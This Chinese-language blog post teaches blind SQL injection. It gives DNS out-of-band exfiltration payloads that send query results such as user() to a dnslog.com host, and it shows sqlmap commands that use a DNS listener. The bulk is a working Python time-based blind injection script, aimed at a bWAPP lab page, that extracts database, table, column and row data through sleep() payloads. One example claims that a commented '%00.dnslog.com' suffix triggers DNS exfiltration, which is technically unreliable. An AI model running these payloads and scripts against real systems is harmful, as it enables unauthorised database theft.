当前位置: 首页 > news >正文

利用盲注技术获取表、列、具体数据

在SQL盲注中,`DNSLOG`和`SQLMap`是两种常用的工具,它们可以结合使用来实现数据的外带和注入。


1.DNSLOG在SQL盲注中的应用

DNSLOG是一种通过DNS查询来记录数据的技术,常用于无回显的漏洞利用场景,如SQL盲注。在SQL盲注中,攻击者可以通过构造特殊的SQL语句,将数据通过DNS查询发送到攻击者控制的DNS服务器上。以下是常见的实现方法:

  • 使用`load_file`函数:在MySQL中,如果攻击者拥有`root`权限且`secure_file_priv`参数为空,可以通过`load_file`函数构造DNS查询。如:

sql
  SELECT load_file(CONCAT('//', (SELECT HEX(user())), '.dnslog.com/')); 

这个语句会尝试加载一个不存在的文件,但会触发一个DNS查询,将`SELECT HEX(user())`的结果发送到`dnslog.com`。

  • 使用`INTO OUTFILE`和DNS后缀:攻击者可以将查询结果写入文件,并通过DNS后缀触发DNS查询。如:

sql
  SELECT username, email FROM orders UNION SELECT NULL, CONCAT(username, '||', email) FROM users INTO OUTFILE '/var/www/html/payload.txt'; -- %00.dnslog.com

这个查询会将结果写入文件,并尝试解析`dnslog.com`,从而将数据发送到攻击者控制的DNS服务器。


2.SQLMap的DNS数据外带功能

SQLMap是一款自动化的SQL注入工具,它支持通过DNS数据外带功能来提高注入效率。SQLMap内置了一个DNS监听模块,可以接收DNS查询并解析数据。以下是使用SQLMap进行DNS数据外带的步骤:

  • 启动SQLMap的DNS监听模块

bash
  python3 sqlmap.py --dns-server

这将启动一个DNS服务器,监听53端口。

  • 使用`--dns-domain`参数进行注入:

bash
  python3 sqlmap.py -u "http://example.com/vulnerable-page?id=1" --dns-domain=dnslog.com

SQLMap会自动构造SQL语句,将数据通过DNS查询发送到指定的域名,并通过监听模块接收数据。


3.结合使用DNSLOG和SQLMap

将DNSLOG和SQLMap结合使用可以显著提高SQL盲注的效率。

  • 启动SQLMap的DNS监听模块

bash
   python3 sqlmap.py --dns-server   

  • 构造SQL注入语句

使用`--dns-domain`参数指定DNS服务器域名,SQLMap会自动构造SQL语句,将数据通过DNS查询发送到指定的DNS服务器。

  • 查看DNS查询日志

在DNS服务器上查看查询日志,提取数据。SQLMap会自动解析DNS查询日志,并提取注入的数据。

通过这种方式,攻击者可以在不依赖目标系统回显的情况下,快速提取数据库中的数据。这种方法特别适用于时间盲注场景,可以显著提高注入效率。

    # 将网页的cookie放入HEADER中
    HEADER = {
        "cookie": "security_level=0; PHPSESSID=d3hp609rbv7fc8gelnlptudth6"
    }
    # 将传参前的URL放到BASE_URL中
    BASE_URL = "http://www.demo.com/bc/bwapp/sqli_15.php?title=Iron Man' "

获取数据库名

在这里使用‘and length(database())={} and sleep(2) -- 注入语句查询长度,and ascii(substr(database(),{},1))={} and sleep(2) -- 注入语句找到每一个字符,并且返回

# 获取数据库名的长度
def get_database_name_length() -> int:
    count = 0
    for i in range(30):
        url = BASE_URL + "and length(database())={} and sleep(2) -- &action=search".format(i)
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 2:
            print("长度为{}".format(i))
            count = i
    return count
 
 
# 获取数据库的名称
def get_database_name(count):
    name = ''
    for i in range(count + 1):
        for j in range(33, 127):
            url = BASE_URL + "and ascii(substr(database(),{},1))={} and sleep(2) -- &action=search".format(
                i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                name = name+chr(j)
                print("=========读取第{}个字符==========".format(i))
    print("数据库名称:"+name)

获取表的名称

# 获取数据库里有多少表
def get_table_count() -> int:
    count = 0
    for i in range(30):
        url = BASE_URL + "and (select count(table_name)from information_schema.tables where table_schema=database())={} and sleep(2) -- &action=search".format(
            i)
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 2:
            print("有{}张表".format(i))
            count = i
    return count
 
 
# 获取每个表的长度
def get_table_length_of_each_table(count):
    for i in range(count + 1):
        for j in range(30):
            url = BASE_URL + "and (select length(table_name)from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2) -- &action=search".format(
                i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                print("=" * 20)
                print("表{}长度为:{}".format(i+1, j))
                get_table_name_of_each_table(i, j)
                print("=" * 20)
 
 
# 获取表名
def get_table_name_of_each_table(index, count):
    result = ''
    for i in range(count+1):
        for j in range(33, 127):
            url = BASE_URL+"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2) -- &action=search".format(
                index, i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                result = result+chr(j)
                print("=====读取第{}个字符=====".format(i))
    print("表{}的名称为:".format(index+1)+result)

获取字段的名称

# 获取字段个数
def get_column_count(table_name) -> int:
    count = 0
    for i in range(30):
        url = BASE_URL + "and (select count(column_name)from information_schema.columns where table_name='{}')={} and sleep(2) -- &action=search".format(table_name,
            i)
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 2:
            print("共发现{}个字段".format(i))
            count = i
    return count
 
 
# 获取每个字段长度
def get_column_length_of_each_table(table_name, count):
    for i in range(count + 1):
        for j in range(30):
            url = BASE_URL + "and (select length(column_name)from information_schema.columns where table_name='{}' limit {},1)={} and sleep(2) -- &action=search".format(table_name,
                i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                print("=" * 20)
                print("字段{}长度为:{}".format(i+1, j))
                get_column_name_of_each_table(table_name, i, j)
                print("=" * 20)
 
 
# 得到每个字段名称
def get_column_name_of_each_table(table_name, index,count):
    result = ''
    for i in range(count+1):
        for j in range(33, 127):
            url = BASE_URL+"and ascii(substr((select column_name from information_schema.columns where table_name='{}' limit {},1),{},1))={} and sleep(2) -- &action=search".format(table_name,
                index, i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                result = result+chr(j)
                print("=====读取第{}个字符=====".format(i))
    print("第{}个字段的名称为:".format(index + 1) + result)

获取值

# 获取值的个数
def get_value_count(table_name, column_name) -> int:
    count = 0
    for i in range(50):
        url = BASE_URL + "and (select count({}) from {})={} and sleep(2) -- &action=search".format(column_name, table_name, i)
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 2:
            print("共有{}个值".format(i))
            count = i
    return count
 
 
# 获取每个值的位数
def get_value_length_of_each_table(table_name, column_name, count):
    for i in range(count + 1):
        for j in range(50):
            url = BASE_URL + "and (select length({}) from {} limit {},1)={} and sleep(2) -- &action=search".format(column_name,table_name,
                i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                print("=" * 20)
                print("值的长度为:{}".format(j))
                get_value_name_of_each_table(table_name, column_name, i, j)
                print("=" * 20)
 
 
# 获取值
def get_value_name_of_each_table(table_name, column_name, index, count):
    result = ''
    for i in range(count+1):
        for j in range(33, 127):
            url = BASE_URL+"and ascii(substr((select {} from {} limit {},1),{},1))={} and sleep(2) -- &action=search".format(
                column_name, table_name, index, i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                result = result + chr(j)
                print("=====读取第{}个字符=====".format(i))
    print("第{}个值的内容为:".format(index + 1) + result)

主体内容

if __name__ == '__main__':
    # 将网页的cookie放入HEADER中
    HEADER = {
        "cookie": "security_level=0; PHPSESSID=d3hp609rbv7fc8gelnlptudth6"
    }
    # 将传参前的URL放到BASE_URL中
    BASE_URL = "http://www.demo.com/bc/bwapp/sqli_15.php?title=Iron Man' "
 
    # 1.获取数据库的名称
    # get_database_name(get_database_name_length())
 
    # 2.获取表的名称
    # get_table_length_of_each_table(get_table_count())
 
    # 3.获取字段的名称
    table_name ='users'
    # get_column_length_of_each_table(table_name, get_column_count(table_name))
 
    # 4.获取值
    column_name = 'login'
    # get_value_length_of_each_table(table_name, column_name, get_value_count(table_name, column_name))

相关文章:

  • 英码科技基于昇腾算力实现DeepSeek离线部署
  • 日本股市概览:主要指数、经济泡沫与现代市场趋势(中英双语)
  • 深入理解C#结构型设计模式:类适配器与对象适配器
  • 公网IP、私网IP、动态IP、静态IP
  • ubuntu 实时系统安装Nvidia驱动
  • 网络安全 | 安全信息与事件管理(SIEM)系统的选型与实施
  • 08模拟法 + 技巧 + 数学 + 缓存(D1_模拟法)
  • 信息收集-Web应用JS架构URL提取数据匹配Fuzz接口WebPack分析自动化
  • 基于JavaWeb开发的Java+Spring+vue+element实现旅游信息管理平台系统
  • DeepSeek 可视化部署手册:环境配置与运维指南
  • C++ STL容器之list的使用及复现
  • 一个数组,只考虑速度,怎么获取最大值以及最小值?
  • 图像处理篇---基本Python图像处理
  • 2025年食品安全管理员考试模拟试题及答案
  • 常见的数据仓库有哪些?
  • windows使用cmake编译工程教学:libcurl库源码编译--qt6使用ftp服务--vcpkg下载的包cmake如何使用
  • 免费deepseek的API获取教程及将API接入word或WPS中
  • 前沿科技一览当今创新技术趋势
  • Unity Shader Graph 2D - Procedural程序化图形转动的环状六边形
  • Webpack和Vite插件的开发与使用
  • 马上评|这种“维权”已经不算薅羊毛,涉嫌犯罪了
  • 美国与卡塔尔签署超2435亿美元经济及军事合作协议
  • 阿尔巴尼亚执政党连续第四次赢得议会选举,反对党此前雇用特朗普竞选经理
  • 今天北京白天气温超30℃,晚间为何下冰雹?
  • 上海团队在医学顶刊连发两文,率先提出“证据污染”循证概念
  • 广东:十年后省级水网主骨架全面建成,与国家骨干网互联互通